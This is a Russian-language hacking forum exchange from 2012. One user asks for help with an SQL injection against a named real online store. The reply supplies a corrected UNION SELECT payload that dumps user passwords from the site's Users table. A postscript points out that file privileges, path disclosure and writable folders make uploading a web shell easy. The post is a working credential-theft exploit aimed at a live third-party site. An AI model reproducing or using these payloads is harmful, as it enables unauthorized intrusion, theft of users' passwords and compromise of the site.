Показать сообщение отдельно

  #21798  
Старый 12.12.2012, 20:59
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами: 10095779

Репутация: 137
По умолчанию

Цитата:
Сообщение от grimnir  
Помогите пожалуйста составить верный запрос,чтобы вытянуть пароли. Уже час сижу, голова не варит h**p://store.vampirefreaks.com/?cat_id=-11'+union+all+select+1,2,(select+concat(0x27,0x7e, Users.user_password,0x27,0x7e)+from+`synthtec`.Use rs+Order+by+user_password+limit+5,1),4,5+and+1='2
Изучай вниматильней мануалы

Цитата:
Сообщение от None  
ht_p://store.vampirefreaks.com/?cat_id=-11%27+union+all+select+1,2,user_password,4,5+from+ synthtec.Users+limit+0,1+--+


P.S: у вас там файловые привилегии, раскрытие путей, есть папки для запеси, шелл отлично льется!
 
Ответить с цитированием